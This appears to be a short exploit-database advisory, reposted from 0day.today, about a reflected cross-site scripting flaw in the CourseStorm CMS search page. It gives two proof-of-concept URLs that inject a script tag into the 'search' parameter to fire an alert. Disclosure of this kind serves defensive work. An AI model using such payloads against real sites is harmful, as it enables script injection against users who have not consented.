CourseStorm CMS - Cross Site Scripting Vulnerability

#**************************************************************#
# Title : CMS CourseStorm - Cross Site Scripting Vulnerability #
# Author : ZwX                                                 #
# Vendor : http://www.coursestorm.com/                         #
# Security Level  :  Medium                                    #
# Tested Os : Windows 7                                        #
#**************************************************************#

#****************************#
# Description Vulnerability  #
#****************************#

A vulnerability is located in the CourseStorm CMS search engine. The vulnerability can be exploited 
by a redirect code and malicious attacker can redirect users to a malicious site.

#**************************#
#     Exploit By ZwX       #
#**************************#

http://localhost/searchResults?search='"/>></script><script>alert(/XSS/)</script>
                                      or
http://localhost/searchResults?search='"/>></script><script>alert("XSS")</script>

#  0day.today [2018-04-13]  #